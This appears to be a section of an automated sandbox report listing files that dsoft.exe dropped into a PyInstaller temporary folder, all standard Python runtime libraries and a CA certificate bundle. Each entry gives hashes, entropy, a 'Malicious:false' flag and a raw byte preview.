                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z..{4..{4..{4......{4...5..{4...1..{4...0..{4...7..{4.U.5..{4..{5.\{4.9.5..{4.U.9..{4.U.4..{4.U....{4.U.6..{4.Rich.{4.........................PE..d...0..c.........." ...".l.......... &.......................................P............`.............................................P...P........0....... ..l........)...@.........T...............................@............................................text...Rj.......l.................. ..`.rdata...s.......t...p..............@..@.data...............................@....pdata..l.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_sqlite3.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):97664
                                                                                                                                                                                                                                        Entropy (8bit):6.170877221164934
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:QzgM+YDOyvuPwYXGqijQa4rlIain9NbT19c4LOyZkyDFI75Qx87SyDPx:vtYCDPSQa4rlIXDbPc23ZkyDFI75Qx8H
                                                                                                                                                                                                                                        MD5:9F38F603BD8F7559609C4FFA47F23C86
                                                                                                                                                                                                                                        SHA1:8B0136FC2506C1CCEF2009DB663E4E7006E23C92
                                                                                                                                                                                                                                        SHA-256:28090432A18B59EB8CBE8FDCF11A277420B404007F31CA571321488A43B96319
                                                                                                                                                                                                                                        SHA-512:273A19F2F609BEDE9634DAE7C47D7B28D369C88420B2B62D42858B1268D6C19B450D83877D2DBA241E52755A3F67A87F63FEA8E5754831C86D16E2A8F214AD72
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8..|...|...|...u...z...3...~...3.~.}...3...q...3...t...3..........y.......~...|..........u......}....|.}......}...Rich|...........PE..d...[..c.........." ..."..................................................................`.............................................P....................`.......T...)..............T...............................@...............`............................text...n........................... ..`.rdata...p.......r..................@..@.data...,....@......................@....pdata.......`.......2..............@..@.rsrc................F..............@..@.reloc...............P..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_ssl.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):159096
                                                                                                                                                                                                                                        Entropy (8bit):6.001271339711538
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:xOoLGtbSpE3z/J/PUE1ueW5J2oEPwu3rE923+nuI5Piev9mutI7t7L+xu:xOoitbSpE3zhH7ueAE8nuaF9muy
                                                                                                                                                                                                                                        MD5:9DDB64354EF0B91C6999A4B244A0A011
                                                                                                                                                                                                                                        SHA1:86A9DC5EA931638699EB6D8D03355AD7992D2FEE
                                                                                                                                                                                                                                        SHA-256:E33B7A4AA5CDD5462EE66830636FDD38048575A43D06EB7E2F688358525DDEAB
                                                                                                                                                                                                                                        SHA-512:4C86478861FA4220680A94699E7D55FBDC90D2785CAEE10619CECB058F833292EE7C3D6AC2ED1EF34B38FBFF628B79D672194A337701727A54BB6BBC5BF9AECA
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,z..h.gLh.gLh.gLac.Ln.gL'gfMj.gL'gbMe.gL'gcM`.gL'gdMk.gL.gfMj.gL.afMl.gLh.fL..gL.ifMo.gL.gjMj.gL.ggMi.gL.g.Li.gL.geMi.gLRichh.gL................PE..d...3..c.........." ..."............l*.............................................._M....`............................................d...4........`.......P.......D..x)...p..<.......T...............................@............................................text...x........................... ..`.rdata..J...........................@..@.data....j.......f..................@....pdata.......P....... ..............@..@.rsrc........`.......,..............@..@.reloc..<....p.......6..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_uuid.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):23936
                                                                                                                                                                                                                                        Entropy (8bit):6.532904843385081
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:JfwFpEW96TfQtI7ewyIIYiSy1pCQDMaPxh8E9VF0Nyvzo:JqpEnjQtI7ewAYiSyvfPxWEx
                                                                                                                                                                                                                                        MD5:041556420BDB334A71765D33229E9945
                                                                                                                                                                                                                                        SHA1:0122316E74EE4ADA1CE1E0310B8DCA1131972CE1
                                                                                                                                                                                                                                        SHA-256:8B3D4767057C18C1C496E138D4843F25E5C98DDFC6A8D1B0ED46FD938EDE5BB6
                                                                                                                                                                                                                                        SHA-512:18DA574B362726EDE927D4231CC7F2AEBAFBAAAB47DF1E31B233F7EDA798253AEF4C142BED1A80164464BD629015D387AE97BA36FCD3CEDCFE54A5A1E5C5CAA3
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;$p^ZJ#^ZJ#^ZJ#W".#\ZJ#.&K"\ZJ#.&O"RZJ#.&N"VZJ#.&I"]ZJ#.&K"\ZJ#.(K"[ZJ#^ZK#tZJ#.&B"_ZJ#.&J"_ZJ#.&.#_ZJ#.&H"_ZJ#Rich^ZJ#................PE..d...+..c.........." ...".....&...... ........................................p............`.........................................`)..L....)..x....P.......@.......4...)...`..@...`#..T........................... "..@............ ..8............................text...h........................... ..`.rdata....... ......................@..@.data........0.......$..............@....pdata.......@.......&..............@..@.rsrc........P.......(..............@..@.reloc..@....`.......2..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):880537
                                                                                                                                                                                                                                        Entropy (8bit):5.683035771422093
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:lgYJu4KXWyBC6S4IEa8A4a2Y42dOVwx/fpEWertSLMNM:lgYJiVBFLa21nVwx/fpEWe+MNM
                                                                                                                                                                                                                                        MD5:22FEE1506D933ABB3335FFB4A1E1D230
                                                                                                                                                                                                                                        SHA1:18331CBA91F33FB6B11C6FDEFA031706AE6D43A0
                                                                                                                                                                                                                                        SHA-256:03F6A37FC2E166E99CE0AD8916DFB8A70945E089F9FC09B88E60A1649441AB6E
                                                                                                                                                                                                                                        SHA-512:3F764337A3FD4F8271CBA9602AEF0663D6B7C37A021389395A00D39BD305D2B927A150C2627B1C629FDBD41C044AF0F7BC9897F84C348C2BCCC085DF911EEE02
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:PK..........!..^".5...5......._collections_abc.pyco....................................@.......d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.e.e.e.....Z.e.d...Z.d.d...Z.e.e...Z.[.g.d...Z.d.Z.e.e.d.....Z.e.e.e.......Z.e.e.i.........Z.e.e.i.........Z.e.e.i.........Z.e.e.g.....Z.e.e.e.g.......Z.e.e.e.d.......Z.e.e.e.d.d.>.......Z.e.e.e.......Z.e.e.d.....Z e.e.d.....Z!e.e.e"......Z#e.i.......Z$e.i.......Z%e.i.......Z&e.e.j'..Z(e.d.d.......Z)d.d...Z*e*..Z*e.e*..Z+e*.,....[*d.d...Z-e-..Z-e.e-..Z.[-d.d...Z/G.d.d...d.e.d...Z0G.d.d...d.e.d...Z1G.d.d...d.e1..Z2e2.3e+....G.d.d...d.e.d...Z4G.d.d ..d e4..Z5G.d!d"..d"e5..Z6e6.3e.....G.d#d$..d$e.d...Z7G.d%d&..d&e7..Z8e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e ....e8.3e!....e8.3e#....G.d'd(..d(e7..Z9G.d)d*..d*e8..Z:e:.3e)....G.d+d,..d,e.d...Z;G.d-d...d.e.d...Z<G.d/d0..d0e;e7e<..Z=G.d1d2..d2e...Z>d3d4..Z?d5d6..Z@d7d8..ZAG.d9d:..d:e.d...ZBG.d;d<..d<e=..ZCeC.3eD....G.d=d>..d>eC..ZEeE.3e.....G.d?d@..d@e=..ZFeF

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\certifi\cacert.pem

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):281617
                                                                                                                                                                                                                                        Entropy (8bit):6.048201407322743
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:QW1H/M8fRR1mNplkXURrVADwYCuCigT/Q5MSRqNb7d8iu5f:QWN/TR8NLWURrI55MWavdF0f
                                                                                                                                                                                                                                        MD5:78D9DD608305A97773574D1C0FB10B61
                                                                                                                                                                                                                                        SHA1:9E177F31A3622AD71C3D403422C9A980E563FE32
                                                                                                                                                                                                                                        SHA-256:794D039FFDF277C047E26F2C7D58F81A5865D8A0EB7024A0FAC1164FEA4D27CF
                                                                                                                                                                                                                                        SHA-512:0C2D08747712ED227B4992F6F8F3CC21168627A79E81C6E860EE2B5F711AF7F4387D3B71B390AA70A13661FC82806CC77AF8AB1E8A8DF82AD15E29E05FA911BF
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\charset_normalizer\md.cp310-win_amd64.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):10752
                                                                                                                                                                                                                                        Entropy (8bit):4.666998646496908
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:sYgp72HzA5iJewkY0hQMsQJCUCLsZEA4elh3XQMtCFjiormHcX6g8cim1qeSju1:sYi2HzzjBbRYoeFomcqgvimoe
                                                                                                                                                                                                                                        MD5:2F5322F17436381CBDFAB91507EC1DFB
                                                                                                                                                                                                                                        SHA1:7129AFBECAFB8C2CED2AF92558A83D466A9B5118
                                                                                                                                                                                                                                        SHA-256:26A5693F387E99382015F063FC408214CB9678CD6E5D5144CDF763415CAEF949
                                                                                                                                                                                                                                        SHA-512:238ADCB787BACB270D1A938A6078CDC9484BFC4F264ED3CE8FDCA084DB1BBE60EF6D79257F1ED1336B0DFB4E9FFB17539FCEBCCF3E4F92EDE945E0C3B0CE6898
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C.V"..V"..V".._Z..T"...^..T"...Z..T"...^..]"...^..^"...^..U"..W..U"..V"..p".._..W".._..W".._v.W".._..W"..RichV"..........................PE..d....A5e.........." ...#.....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\charset_normalizer\md__mypyc.cp310-win_amd64.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):114688
                                                                                                                                                                                                                                        Entropy (8bit):5.8932461766936814
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:s66coUgCxkfBHPKBJLDt1x00w01/1jy8ryypQKN:G7qtB1/hysycQKN
                                                                                                                                                                                                                                        MD5:1914BD95160CB04ACE6F362EA3E2D02C
                                                                                                                                                                                                                                        SHA1:21C0662BDC01C8B5990793E7FABA330FCF015594
                                                                                                                                                                                                                                        SHA-256:9A59405ABEC5F42FD6C8EB8205BF710317A311E988AE52837F31C6AFA9A2D79E
                                                                                                                                                                                                                                        SHA-512:28643C00DBBBCD6F5C3F5ACE09CB0137DED209FF5BC7DF3E401DA12A84FA62FC053F1872C7491B75DE6C63CBC518C301C1F389C0F140939912CBD2625FCF664B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........RKSJ3%.J3%.J3%.CK..B3%..O$.H3%..K$.H3%..O .G3%..O!.B3%..O&.I3%..F$.I3%.J3$..3%..N-.K3%..N%.K3%..N..K3%..N'.K3%.RichJ3%.................PE..d....A5e.........." ...#."...........%....................................................`.............................................d...t...................................$....u...............................t..@............@...............................text.... .......".................. ..`.rdata...U...@...V...&..............@..@.data...p8.......,...|..............@....pdata..............................@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\libcrypto-1_1.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):3441504
                                                                                                                                                                                                                                        Entropy (8bit):6.097985120800337
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:49152:8TKuk2CQIU6iV9OjPWgBqIVRIaEv5LY/RnQ2ETEvrPnkbsYNPsNwsML1CPwDv3u6:Vv+KRi5KsEKsY+NwsG1CPwDv3uFfJu
                                                                                                                                                                                                                                        MD5:6F4B8EB45A965372156086201207C81F
                                                                                                                                                                                                                                        SHA1:8278F9539463F0A45009287F0516098CB7A15406
                                                                                                                                                                                                                                        SHA-256:976CE72EFD0A8AEEB6E21AD441AA9138434314EA07F777432205947CDB149541
                                                                                                                                                                                                                                        SHA-512:2C5C54842ABA9C82FB9E7594AE9E264AC3CBDC2CC1CD22263E9D77479B93636799D0F28235AC79937070E40B04A097C3EA3B7E0CD4376A95ED8CA90245B7891F
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........a...2...2...2...2...2..3...2..3...2..3...2..3...2...2...2L.3...2..3...2..3.2..3...2..p2...2..3...2Rich...2........................PE..d...m..b.........." ... ..$...................................................4....../5...`..........................................h/..h...*4.@....`4.|....`2.....Z4.`)...p4..O....,.8...........................`.,.@............ 4..............................text.....$.......$................. ..`.rdata........$.......$.............@..@.data...!z....1..,....1.............@....pdata.......`2.......1.............@..@.idata..^#... 4..$....3.............@..@.00cfg..u....P4.......3.............@..@.rsrc...|....`4.......3.............@..@.reloc...x...p4..z....3.............@..B................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\libffi-7.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):32792
                                                                                                                                                                                                                                        Entropy (8bit):6.3566777719925565
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
                                                                                                                                                                                                                                        MD5:EEF7981412BE8EA459064D3090F4B3AA
                                                                                                                                                                                                                                        SHA1:C60DA4830CE27AFC234B3C3014C583F7F0A5A925
                                                                                                                                                                                                                                        SHA-256:F60DD9F2FCBD495674DFC1555EFFB710EB081FC7D4CAE5FA58C438AB50405081
                                                                                                                                                                                                                                        SHA-512:DC9FF4202F74A13CA9949A123DFF4C0223DA969F49E9348FEAF93DA4470F7BE82CFA1D392566EAAA836D77DDE7193FED15A8395509F72A0E9F97C66C0A096016
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....F...$.......I....................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\libssl-1_1.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):702816
                                                                                                                                                                                                                                        Entropy (8bit):5.547832370836076
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:UUnBMlBGdU/t0voUYHgqRJd7a7+JLvrfX7bOI8Fp0D6WuHU2lvzR:UN/t0vMnffOI8Fp0D6TU2lvzR
                                                                                                                                                                                                                                        MD5:8769ADAFCA3A6FC6EF26F01FD31AFA84
                                                                                                                                                                                                                                        SHA1:38BAEF74BDD2E941CCD321F91BFD49DACC6A3CB6
                                                                                                                                                                                                                                        SHA-256:2AEBB73530D21A2273692A5A3D57235B770DAF1C35F60C74E01754A5DAC05071
                                                                                                                                                                                                                                        SHA-512:FAC22F1A2FFBFB4789BDEED476C8DAF42547D40EFE3E11B41FADBC4445BB7CA77675A31B5337DF55FDEB4D2739E0FB2CBCAC2FEABFD4CD48201F8AE50A9BD90B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D.p*..p*..p*......p*...+..p*.\.+..p*.../..p*......p*...)..p*...+..p*..p+.iq*......p*...*..p*.....p*...(..p*.Rich.p*.........PE..d......b.........." ... .B...T......<.....................................................`.........................................@A...N..@U..........s........M......`)......h...0...8...............................@............@..@............................text....@.......B.................. ..`.rdata..J/...`...0...F..............@..@.data...AM.......D...v..............@....pdata...V.......X..................@..@.idata..%W...@...X..................@..@.00cfg..u............j..............@..@.rsrc...s............l..............@..@.reloc..l............t..............@..B................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\pyexpat.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):198520
                                                                                                                                                                                                                                        Entropy (8bit):6.365137514820493
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:nYSqakQm3pSouj2yVi00L+Drqk8avRoxtLR8C9ekJhgkFyRnObUpzGxvspVRI7QD:YwcPuj2yk+Drqk8/yMfJyvt
                                                                                                                                                                                                                                        MD5:43E5A1470C298BA773AC9FCF5D99E8F9
                                                                                                                                                                                                                                        SHA1:06DB03DAF3194C9E492B2F406B38ED33A8C87AB3
                                                                                                                                                                                                                                        SHA-256:56984D43BE27422D31D8ECE87D0ABDA2C0662EA2FF22AF755E49E3462A5F8B65
                                                                                                                                                                                                                                        SHA-512:A5A1EBB34091EA17C8F0E7748004558D13807FDC16529BC6F8F6C6A3A586EE997BF72333590DC451D78D9812EF8ADFA7DEABAB6C614FCE537F56FA38CE669CFC
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9h..}..}..}..tqu.q..2u....2u.p..2u.u..2u.~...u....{.~..}......u.y...u.|...u..|...u.|..Rich}..................PE..d...+..c.........." ..."............................................................U.....`.........................................`...P...............................x)..........@6..T............................5..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\python310.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):4492664
                                                                                                                                                                                                                                        Entropy (8bit):6.463653563183579
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:49152:m/4rIQeEKdN4uxzx1njuYWxKLx5NFnb7d1G2F58rkx7qzMJYlf1GCJLvNyoInO3V:mS7q35VNFnlRqT84NAnYHAMDlPK0r
                                                                                                                                                                                                                                        MD5:DEAF0C0CC3369363B800D2E8E756A402
                                                                                                                                                                                                                                        SHA1:3085778735DD8BADAD4E39DF688139F4EED5F954
                                                                                                                                                                                                                                        SHA-256:156CF2B64DD0F4D9BDB346B654A11300D6E9E15A65EF69089923DAFC1C71E33D
                                                                                                                                                                                                                                        SHA-512:5CAC1D92AF7EE18425B5EE8E7CD4E941A9DDFFB4BC1C12BB8AEABEED09ACEC1FF0309ABC41A2E0C8DB101FEE40724F8BFB27A78898128F8746C8FE01C1631989
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R..R..R...S..R......R...W..R...V..R...Q..R.....R.K.S..R..S..R.'._.X.R.'.R..R.'....R.'.P..R.Rich..R.........PE..d......c.........." ..."..#...!...............................................E.......D...`..........................................?=.......>.|.....E.......B......dD.x)....E..t.. @%.T............................>%.@.............#.8............................text...r.#.......#................. ..`.rdata..<e....#..f....#.............@..@.data........0>.......>.............@....pdata........B.. ....A.............@..@PyRuntim`.....D.......C.............@....rsrc.........E.......C.............@..@.reloc...t....E..v....C.............@..B........................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32\pythoncom310.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):669184
                                                                                                                                                                                                                                        Entropy (8bit):6.03765159448253
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:zxxMpraRSS9Y68EuBPjIQN5cJzS7bUxgyPxFMH0PIXY3dVVVVAuLpdorrcK/CXjW:zxxMZMX1bQIJO7bazPEQSYNBLpdwNu
                                                                                                                                                                                                                                        MD5:65DD753F51CD492211986E7B700983EF
                                                                                                                                                                                                                                        SHA1:F5B469EC29A4BE76BC479B2219202F7D25A261E2
                                                                                                                                                                                                                                        SHA-256:C3B33BA6C4F646151AED4172562309D9F44A83858DDFD84B2D894A8B7DA72B1E
                                                                                                                                                                                                                                        SHA-512:8BD505E504110E40FA4973FEFF2FAE17EDC310A1CE1DC78B6AF7972EFDD93348087E6F16296BFD57ABFDBBE49AF769178F063BB0AA1DEE661C08659F47A6216D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..x...+...+...+..P+...+T..*...+T..*...+T..*...+T..*...+..*...+...*...+...*...+...*...+...+U..+..*W..+..*...+..*...+Rich...+................PE..d...k..d.........." ................4.....................................................`..........................................U...c..............l....@...z............... ......T...........................0...8............................................text...#........................... ..`.rdata...$.......&..................@..@.data....I..........................@....pdata...z...@...|..................@..@.rsrc...l...........................@..@.reloc... ......."..................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32\pywintypes310.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):134656
                                                                                                                                                                                                                                        Entropy (8bit):5.992653928086484
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:DLVxziezwPZSMaAXpuuwNNDY/r06trfSsSYOejKVJBtGdI8hvnMu:HfziezwMMaAX2Y/rxjbOejKDBtG681n
                                                                                                                                                                                                                                        MD5:CEB06A956B276CEA73098D145FA64712
                                                                                                                                                                                                                                        SHA1:6F0BA21F0325ACC7CF6BF9F099D9A86470A786BF
                                                                                                                                                                                                                                        SHA-256:C8EC6429D243AEF1F78969863BE23D59273FA6303760A173AB36AB71D5676005
                                                                                                                                                                                                                                        SHA-512:05BAB4A293E4C7EFA85FA2491C32F299AFD46FDB079DCB7EE2CC4C31024E01286DAAF4AEAD5082FC1FD0D4169B2D1BE589D1670FCF875B06C6F15F634E0C6F34
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9.$.X.w.X.w.X.w. [w.X.w.-.v.X.w.75w.X.w.-.v.X.w.-.v.X.w.-.v.X.w.3.v.X.wJ1.v.X.w.3.v.X.w.X.w.X.w,-.v.X.w,-.v.X.w,-.v.X.wRich.X.w........................PE..d......d.........." .........................................................P............`......................................... u..dB......,....0..l.......L............@..0...`Q..T............................Q..8............................................text............................... ..`.rdata..R...........................@..@.data....-.......(..................@....pdata..L...........................@..@.rsrc...l....0......................@..@.reloc..0....@......................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\select.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):29048
                                                                                                                                                                                                                                        Entropy (8bit):6.478463870483955
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:zeS+FwhCWHqhmIRI77GwYiSyv87PxWEgC:zeS+ahVKhmIRI77Gw7SyGPxL
